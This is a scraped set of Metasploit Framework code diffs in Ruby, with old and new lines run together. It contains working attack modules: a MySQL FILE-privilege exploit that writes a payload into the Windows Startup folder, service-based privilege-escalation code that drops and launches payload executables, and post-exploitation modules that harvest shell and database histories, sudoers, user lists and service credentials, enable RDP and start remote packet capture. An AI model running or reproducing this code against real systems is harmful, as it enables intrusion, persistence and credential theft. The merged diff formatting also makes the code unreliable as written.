def exploit
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
dir_env = get_envs('SystemRoot', 'TEMP')
sysdir = dir_env['SystemRoot']
tmpdir = dir_env['TEMP']
tempexe = tmpdir + "\\" + tempexe_name
begin
return if execute_payload_as_new_service(tempexe)
rescue RuntimeError => e
vprint_status("Unable to create a new service: #{e}")
end
aggressive = datastore['AGGRESSIVE']
print_status("Trying to find weak permissions in existing services..")
token = get_imperstoken
each_service do |serv|
service_name = serv[:name]
service = service_info(service_name)
begin
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
rescue RuntimeError => e
vprint_status("[#{serv[:name]}] #{e}")
end end
end end
end end

View File

@ -9,6 +9,7 @@ require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Post::File include Msf::Post::File
include Msf::Post::Windows::Services include Msf::Post::Windows::Services
@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local
], ],
'Platform' => [ 'win'], 'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ], 'Targets' => [ ['Windows', {}] ],
'SessionTypes' => [ "shell", "meterpreter" ], 'SessionTypes' => [ "meterpreter" ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
# Migrate away, in case the service dies (can kill access)
'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
)) ))
end end
@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local
def enum_vuln_services(quick=false) def enum_vuln_services(quick=false)
vuln_services = [] vuln_services = []
service_list.each do |name| each_service do |service|
info = service_info(name) info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string, # Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying. # and that can break the regex -- annoying.
cmd = info['Command'].strip if info[:path]
cmd = info[:path].strip
# Check path: # Check path:
# - Filter out paths that begin with a quote # - Filter out paths that begin with a quote
# - Filter out paths that don't have a space # - Filter out paths that don't have a space
next if cmd !~ /^[a-z]\:.+\.exe$/i next if cmd !~ /^[a-z]\:.+\.exe$/i
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
# Filter out services that aren't launched as SYSTEM vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
next if info['Credentials'] !~ /LocalSystem/ vuln_services << [service[:name], cmd]
vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") # This process can be pretty damn slow.
vuln_services << [name, cmd] # Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
# This process can be pretty damn slow. end
# Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
end end
return vuln_services return vuln_services
@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local
# #
print_status("Finding a vulnerable service...") print_status("Finding a vulnerable service...")
svrs = enum_vuln_services(true) svrs = enum_vuln_services(true)
if svrs.empty?
print_error("No service found with trusted path issues") fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty?
return
end
svr_name = svrs.first[0] svr_name = svrs.first[0]
fpath = svrs.first[1] fpath = svrs.first[1]
exe_path = "#{fpath.split(' ')[0]}.exe" exe_path = "#{fpath.split(' ')[0]}.exe"
print_status("Placing #{exe_path} as #{svr_name}") print_status("Placing #{exe_path} for #{svr_name}")
# #
# Drop the malicious executable into the path # Drop the malicious executable into the path
# #
exe = generate_payload_exe exe = generate_payload_exe_service({:servicename=>svr_name})
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
begin begin
write_file(exe_path, exe) write_file(exe_path, exe)
register_files_for_cleanup(exe_path)
rescue Rex::Post::Meterpreter::RequestError => e rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on # Can't write the file, can't go on
print_error(e.message) fail_with(Failure::Unknown, e.message)
return
end end
# #
# Run the service, let the Windows API do the rest # Run the service, let the Windows API do the rest
# #
print_status("Launching service #{svr_name}...") print_status("Launching service #{svr_name}...")
tried = false service_restart(svr_name)
begin
status = service_start(svr_name)
raise RuntimeError, status if status != 0
rescue RuntimeError => s
if tried
print_error("Unable to start #{svr_name}")
return
else
tried = true
end
case s.message.to_i
when 1
# Service already started, restart again
service_stop(svr_name)
retry
when 2
# Service disabled, enable it
service_change_startup(svr_name, 'manual')
retry
end
end
#
# "Nothing ever happened, we swears it on the Precious!"
#
print_status("Deleting #{exe_path}")
begin
cmd_exec("cmd /c del \"#{exe_path}\"")
rescue ::Exception => e
print_error("Unable to remove #{exe_path}: #{e.message}")
end
end end
end end

View File

@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::File include Msf::Post::File
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::ShadowCopy
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry include Msf::Post::Windows::Registry
include Msf::Exploit::EXE include Msf::Exploit::EXE

View File

@ -0,0 +1,143 @@
##
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
'Description' => %q{
This module takes advantage of a file privilege misconfiguration problem
specifically against Windows MySQL servers. This module abuses the FILE
privilege to write a payload to Microsoft's All Users Start Up directory
which will execute every time a user logs in. The default All Users Start
Up directory used by the module is Windows 7 friendly.
},
'Author' =>
[
'sinn3r',
'Sean Verity <veritysr1980[at]gmail.com'
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-5613'], #DISPUTED
['OSVDB', '88118'],
['EDB', '23083'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
],
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL on Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 01 2012'
))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
])
end
def check
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Safe unless m
return Exploit::CheckCode::Appears if is_windows?
Exploit::CheckCode::Safe
end
def peer
"#{rhost}:#{rport}"
end
def query(q)
rows = []
begin
res = mysql_query(q)
return rows unless res
res.each_hash do |row|
rows << row
end
rescue RbMysql::ParseError
return rows
end
rows
end
def is_windows?
r = query("SELECT @@version_compile_os;")
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
end
def get_drive_letter
r = query("SELECT @@tmpdir;")
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
drive
end
def upload_file(bin, dest)
p = bin.unpack("H*")[0]
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
end
def exploit
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
end
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue RbMysql::AccessDeniedError
fail_with(Failure::NoAccess, "#{peer} - Access denied")
end
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m
unless is_windows?
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
end
begin
drive = get_drive_letter
rescue RbMysql::ParseError
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
end
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
exe = generate_payload_exe
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
rescue RbMysql::AccessDeniedError
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
end
register_file_for_cleanup("#{dest}")
end
end

View File

@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post
include Msf::Post::File include Msf::Post::File
include Msf::Post::Linux::System include Msf::Post::Linux::System
def initialize(info = {})
def initialize(info={}) super(update_info(info,
super( update_info( info, 'Name' => 'Linux Gather User History',
'Name' => 'Linux Gather User History', 'Description' => %q{
'Description' => %q{ This module gathers the following user-specific information:
This module gathers user specific information. shell history, MySQL history, PostgreSQL history, MongoDB history,
User list, bash history, mysql history, vim history, Vim history, lastlog, and sudoers.
lastlog and sudoers. },
}, 'License' => MSF_LICENSE,
'License' => MSF_LICENSE, 'Author' =>
'Author' => [
[ # based largely on get_bash_history function by Stephen Haywood
# based largely on get_bash_history function by Stephen Haywood 'ohdae <bindshell[at]live.com>'
'ohdae <bindshell[at]live.com>' ],
], 'Platform' => ['linux'],
'Platform' => ['linux'], 'SessionTypes' => ['shell', 'meterpreter']
'SessionTypes' => ['shell', 'meterpreter'] ))
))
end end
def run def run
distro = get_sysinfo distro = get_sysinfo
print_good("Info:") print_good('Info:')
print_good("\t#{distro[:version]}") print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}") print_good("\t#{distro[:kernel]}")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1") user = execute('/usr/bin/whoami')
user = execute("/usr/bin/whoami") users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
users = [user] if user != 'root' || users.blank?
mount = execute("/bin/mount -l") vprint_status("Retrieving history for #{users.length} users")
get_bash_history(users, user) shells = %w{ash bash csh ksh sh tcsh zsh}
get_sql_history(users, user) users.each do |u|
get_vim_history(users, user) home = get_home_dir(u)
last = execute("/usr/bin/last && /usr/bin/lastlog") shells.each do |shell|
sudoers = cat_file("/etc/sudoers") get_shell_history(u, home, shell)
end
get_mysql_history(u, home)
get_psql_history(u, home)
get_mongodb_history(u, home)
get_vim_history(u, home)
end
save("Last logs", last) unless last.nil? last = execute('/usr/bin/last && /usr/bin/lastlog')
save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/ sudoers = cat_file('/etc/sudoers')
save('Last logs', last) unless last.blank?
save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
end end
def save(msg, data, ctype="text/plain") def save(msg, data, ctype = 'text/plain')
ltype = "linux.enum.users" ltype = 'linux.enum.users'
loot = store_loot(ltype, ctype, session, data, nil, msg) loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}") print_status("#{msg} stored in #{loot.to_s}")
end end
@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post
def get_host def get_host
case session.type case session.type
when /meterpreter/ when /meterpreter/
host = sysinfo["Computer"] host = sysinfo['Computer']
when /shell/ when /shell/
host = session.shell_command_token("hostname").chomp host = session.shell_command_token('hostname').chomp
end end
print_status("Running module against #{host}") print_status("Running module against #{host}")
host
return host
end end
def execute(cmd) def execute(cmd)
vprint_status("Execute: #{cmd}") vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd) output = cmd_exec(cmd)
return output output
end end
def cat_file(filename) def cat_file(filename)
vprint_status("Download: #{filename}") vprint_status("Download: #{filename}")
output = read_file(filename) output = read_file(filename)
return output output
end end
def get_bash_history(users, user) def get_home_dir(user)
if user == "root" and users != nil home = execute("echo ~#{user}")
users = users.chomp.split() if home.empty?
users.each do |u| if user == 'root'
if u == "root" home = '/root'
vprint_status("Extracting history for #{u}") else
hist = cat_file("/root/.bash_history") home = "/home/#{user}"
else
vprint_status("Extracting history for #{u}")
hist = cat_file("/home/#{u}/.bash_history")
end
save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
end end
else
vprint_status("Extracting history for #{user}")
hist = cat_file("/home/#{user}/.bash_history")
vprint_status(hist)
save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
end end
home
end end
def get_sql_history(users, user) def get_shell_history(user, home, shell)
if user == "root" and users != nil vprint_status("Extracting #{shell} history for #{user}")
users = users.chomp.split() hist = cat_file("#{home}/.#{shell}_history")
users.each do |u| save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
if u == "root"
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/root/.mysql_history")
else
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.mysql_history")
end
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end
else
vprint_status("Extracting SQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.mysql_history")
vprint_status(sql_hist) if sql_hist
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end
end end
def get_vim_history(users, user) def get_mysql_history(user, home)
if user == "root" and users != nil vprint_status("Extracting MySQL history for #{user}")
users = users.chomp.split sql_hist = cat_file("#{home}/.mysql_history")
users.each do |u| save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
if u == "root"
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/root/.viminfo")
else
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/home/#{u}/.viminfo")
end
save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
vim_hist = cat_file("/home/#{user}/.viminfo")
vprint_status(vim_hist)
save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
end
end end
def get_psql_history(user, home)
vprint_status("Extracting PostgreSQL history for #{user}")
sql_hist = cat_file("#{home}/.psql_history")
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_mongodb_history(user, home)
vprint_status("Extracting MongoDB history for #{user}")
sql_hist = cat_file("#{home}/.dbshell")
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_vim_history(user, home)
vprint_status("Extracting Vim history for #{user}")
vim_hist = cat_file("#{home}/.viminfo")
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
end
end end

View File

@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
register_options( register_options(
[ [
OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']), OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.", OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.",
::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]) ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])

View File

@ -8,6 +8,10 @@ require 'rex'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
require 'msf/core/module/deprecated'
include Msf::Module::Deprecated
deprecated Date.new(2015, 1, 8), 'exploit/windows/local/service_permissions'
include Msf::Post::Windows::Services include Msf::Post::Windows::Services
def initialize(info={}) def initialize(info={})
@ -39,7 +43,7 @@ class Metasploit3 < Msf::Post
def run def run
paths = [] paths = []
services = [] candidate_services = []
vuln = "" vuln = ""
@temp = session.sys.config.getenv('TEMP') @temp = session.sys.config.getenv('TEMP')
@ -50,16 +54,16 @@ class Metasploit3 < Msf::Post
print_status("Checking for vulnerable .NET Framework Optimization service") print_status("Checking for vulnerable .NET Framework Optimization service")
print_status("This may take a few minutes.") print_status("This may take a few minutes.")
# enumerate the installed .NET versions # enumerate the installed .NET versions
service_list.each do |service| each_service do |service|
if service =~ /clr_optimization_.*/ if service[:name] =~ /clr_optimization_.*/
info = service_info(service) info = service_info(service[:name])
paths << info['Command'] paths << info[:path]
services << service candidate_services << service[:name]
begin begin
service_stop(service) # temporarily stop the service service_stop(service[:name]) # temporarily stop the service
print_status("Found #{info['Name']} installed") print_status("Found #{service[:name]} installed")
rescue rescue
print_error("We do not appear to have access to stop #{info['Name']}") print_error("We do not appear to have access to stop #{service[:name]}")
end end
else else
next next
@ -80,17 +84,13 @@ class Metasploit3 < Msf::Post
payload = setup_exploit payload = setup_exploit
end end
services.each do |service| candidate_services.each do |service|
session.railgun.kernel32.CopyFileA(payload, vuln, false) session.railgun.kernel32.CopyFileA(payload, vuln, false)
mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
if mng['return'].nil?
print_error("Cannot open service manager, not enough privileges")
return
end
# restart the service
status = service_start(service)
if status == 0 # restart the service
status = service_restart(service)
if status
print_status("Restarted #{service}") print_status("Restarted #{service}")
else else
print_error("Failed to restart #{service}") print_error("Failed to restart #{service}")

View File

@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post
addr = [mem].pack("V") addr = [mem].pack("V")
len = [data.length].pack("V") len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
#print_status("#{ret.inspect}")
len, addr = ret["pDataOut"].unpack("V2") len, addr = ret["pDataOut"].unpack("V2")
else else
addr = [mem].pack("Q") addr = [mem].pack("Q")

View File

@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post
super(update_info(info, super(update_info(info,
'Name' => "Windows Gather Service Info Enumeration", 'Name' => "Windows Gather Service Info Enumeration",
'Description' => %q{ 'Description' => %q{
This module will query the system for services and display name and configuration This module will query the system for services and display name and
info for each returned service. It allows you to optionally search the credentials, path, configuration info for each returned service. It allows you to
or start type for a string and only return the results that match. These query operations optionally search the credentials, path, or start type for a string
are cumulative and if no query strings are specified, it just returns all services. and only return the results that match. These query operations are
NOTE: If the script hangs, windows firewall is most likely on and you did not cumulative and if no query strings are specified, it just returns all
migrate to a safe process (explorer.exe for example). services. NOTE: If the script hangs, windows firewall is most likely
on and you did not migrate to a safe process (explorer.exe for
example).
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => ['win'], 'Platform' => ['win'],
@ -31,97 +33,100 @@ class Metasploit3 < Msf::Post
[ [
OptString.new('CRED', [ false, 'String to search credentials for' ]), OptString.new('CRED', [ false, 'String to search credentials for' ]),
OptString.new('PATH', [ false, 'String to search path for' ]), OptString.new('PATH', [ false, 'String to search path for' ]),
OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
], self.class) ], self.class)
end end
def run def run
# set vars # set vars
lootString = ""
credentialCount = {} credentialCount = {}
qcred = datastore["CRED"] || nil qcred = datastore["CRED"] || nil
qpath = datastore["PATH"] || nil qpath = datastore["PATH"] || nil
if datastore["TYPE"] == "All" if datastore["TYPE"] == "All"
qtype = nil qtype = nil
else else
qtype = datastore["TYPE"] qtype = datastore["TYPE"].downcase
end end
if qcred if qcred
qcred = qcred.downcase
print_status("Credential Filter: #{qcred}") print_status("Credential Filter: #{qcred}")
end end
if qpath if qpath
qpath = qpath.downcase
print_status("Executable Path Filter: #{qpath}") print_status("Executable Path Filter: #{qpath}")
end end
if qtype if qtype
print_status("Start Type Filter: #{qtype}") print_status("Start Type Filter: #{qtype}")
end end
if datastore['VERBOSE'] results_table = Rex::Ui::Text::Table.new(
print_status("Listing Service Info for matching services:") 'Header' => 'Services',
else 'Indent' => 1,
print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n") 'SortIndex' => 0,
end 'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
)
service_list.each do |sname| print_status("Listing Service Info for matching services, please wait...")
service_list.each do |srv|
srv_conf = {} srv_conf = {}
isgood = true
# make sure we got a service name # make sure we got a service name
if sname if srv[:name]
begin begin
srv_conf = service_info(sname) srv_conf = service_info(srv[:name])
# filter service based on filters passed, the are cumulative if srv_conf[:startname]
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase # filter service based on filters passed, the are cumulative
isgood = false if qcred && !srv_conf[:startname].downcase.include?(qcred)
end next
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
isgood = false
end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
isgood = false
end
# count the occurance of specific credentials services are running as
serviceCred = srv_conf['Credentials'].upcase
unless serviceCred.empty?
if credentialCount.has_key?(serviceCred)
credentialCount[serviceCred] += 1
else
credentialCount[serviceCred] = 1
# let the user know a new service account has been detected for possible lateral
# movement opportunities
print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
end end
if qpath && !srv_conf[:path].downcase.include?(qpath)
next
end
# There may not be a 'Startup', need to check nil
if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype)
next
end
# count the occurance of specific credentials services are running as
serviceCred = srv_conf[:startname].upcase
unless serviceCred.empty?
if credentialCount.has_key?(serviceCred)
credentialCount[serviceCred] += 1
else
credentialCount[serviceCred] = 1
# let the user know a new service account has been detected for possible lateral
# movement opportunities
print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'")
end
end
results_table << [srv[:name],
srv_conf[:startname],
START_TYPE[srv_conf[:starttype]],
srv_conf[:path]]
end end
# if we are still good return the info rescue RuntimeError => e
if isgood print_error("An error occurred enumerating service: #{srv[:name]}: #{e}")
msgString = "\tName: #{sname}"
msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
#remove invalid char at the end
commandString = srv_conf['Command']
commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
msgString << "\n\t\t#{commandString}"
msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
vprint_good(msgString)
lootString << msgString
end
rescue ::Exception => e
# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
# probably the typical shut-everything-up coding habit. We'll have to fix this later,
# but for now let's at least print the error for debugging purposes
print_error("An error occured enumerating service: #{sname}")
print_error(e.to_s)
end end
else else
print_error("Problem enumerating services (no service name found)") print_error("Problem enumerating service - no service name found")
end end
end end
# store loot on completion of collection
p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services") print_line results_table.to_s
print_good("Loot file stored in: #{p.to_s}")
# store loot on completion of collection
p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services")
print_good("Loot file stored in: #{p.to_s}")
end end
end end

View File

@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post
def run def run
driver = datastore['DRIVER_PATH'] driver = datastore['DRIVER_PATH']
start = datastore['START_TYPE'] start = START_TYPE[datastore['START_TYPE']]
error = datastore['ERROR_TYPE'] error = ERROR_TYPE[datastore['ERROR_TYPE']]
service = datastore['SERVICE_TYPE'] service = SERVICE_TYPE[datastore['SERVICE_TYPE']]
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME'] name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post
return return
end end
inst = install_driver(driver: driver, start: start, name: name, error: error, service: service) inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)
if inst if inst == Windows::Error::SUCCESS
ss = service_start(name) ss = service_start(name)
case ss case ss
when Windows::Error::SUCCESS when Windows::Error::SUCCESS
@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post
end end
end end
def install_driver(opts={}) def install_driver(name, opts={})
service_all_access = 0xF01FF rc = service_create(name, opts)
service_type = SERVICE_TYPE[opts[:service]]
service_error_type = ERROR_TYPE[opts[:error]]
service_start_type = START_TYPE[opts[:start]]
advapi32 = client.railgun.advapi32
name = opts[:name]
# Default access: sc_manager_all_access (0xF003F)
ro = open_sc_manager()
rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil) if rc == Windows::Error::SUCCESS
close_sc_manager(ro)
if rc['GetLastError'] == Windows::Error::SUCCESS
print_status("Service object \"#{name}\" added to the Service Control Manager database.") print_status("Service object \"#{name}\" added to the Service Control Manager database.")
close_sc_manager(rc['return'])
return true return true
elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS elsif rc == Windows::Error::SERVICE_EXISTS
print_error("The specified service already exists.") print_error("The specified service already exists.")
# Show ImagePath just to know if the service corresponds to the desired driver. # Show ImagePath just to know if the service corresponds to the desired driver.
service = service_info(name) service = service_info(name)
print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.") print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")
else else
print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.") print_error("There was an error opening the driver handler. GetLastError=#{rc}.")
end end
return false return false
end end

View File

@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post
def enabletssrv(cleanup_rc) def enabletssrv(cleanup_rc)
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" service_name = "termservice"
srv_info = service_info(service_name)
begin begin
v2 = registry_getvaldata(rdp_key,"Start")
print_status "Setting Terminal Services service startup mode" print_status "Setting Terminal Services service startup mode"
if v2 != 2 if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
service_change_startup("TermService","auto") unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
cmd_exec("sc", "start termservice", 30) if (service_start(service_name) == Windows::Error::SUCCESS)
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else else
print_status "\tTerminal Services service is already set to auto" print_status "\tTerminal Services service is already set to auto"
end end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post
include Msf::Post::File include Msf::Post::File
include Msf::Post::Windows::Registry include Msf::Post::Windows::Registry
include Msf::Post::Windows::WindowsServices include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
def initialize(info={}) def initialize(info={})
@ -41,16 +41,16 @@ class Metasploit3 < Msf::Post
serv = service_info("rpcapd") serv = service_info("rpcapd")
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service") print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
if serv['Name'] !~ /remote/i if serv[:display] !~ /remote/i
print_error("This machine doesn't seem to have the rpcapd service") print_error("This machine doesn't seem to have the rpcapd service")
else else
print_status("Rpcap service found: #{serv['Name']}") print_status("Rpcap service found: #{serv[:display]}")
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
# TODO: check if this works on x64 start_type = serv[:starttype]
prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe" prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
if reg != 2 if start_type != START_TYPE_AUTO
print_status("Setting rpcapd as 'auto' service") print_status("Setting rpcapd as 'auto' service")
service_change_startup("rpcapd","auto") service_change_startup("rpcapd", START_TYPE_AUTO)
end end
if datastore['ACTIVE']==true if datastore['ACTIVE']==true
if datastore['RHOST']==nil if datastore['RHOST']==nil
@ -76,22 +76,15 @@ class Metasploit3 < Msf::Post
end end
def run_rpcapd(p) def run_rpcapd(p)
service_name = "rpcapd"
begin begin
cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30) if service_restart(service_name)
result=service_start("rpcapd") print_good("Rpcapd started successfully: #{p}")
case result else
when 0 print_error("There was an error restarting rpcapd.exe.")
print_good("Rpcapd started successfully: #{p}")
when 1
print_status("Rpcapd is already running. Restarting service ...")
if service_stop("rpcapd") and service_start("rpcapd")
print_good("Service restarted successfully: #{p}")
else
print_error("There was an error restarting rpcapd.exe. Try to run it again")
end
end end
rescue::Exception => e rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}") print_error("The following Error was encountered: #{e.class} #{e}")
end end
end end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
end end
result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0) result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0)
# print_error(result.inspect)
if result['totalentries'] == 0 if result['totalentries'] == 0
print_error("No systems found of that type") print_error("No systems found of that type")
return return

View File

@ -1,6 +1,6 @@
## ##
# #
# This plugin requires Metasploit: http//metasploit.com/download # This plugin requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
# #
## ##

View File

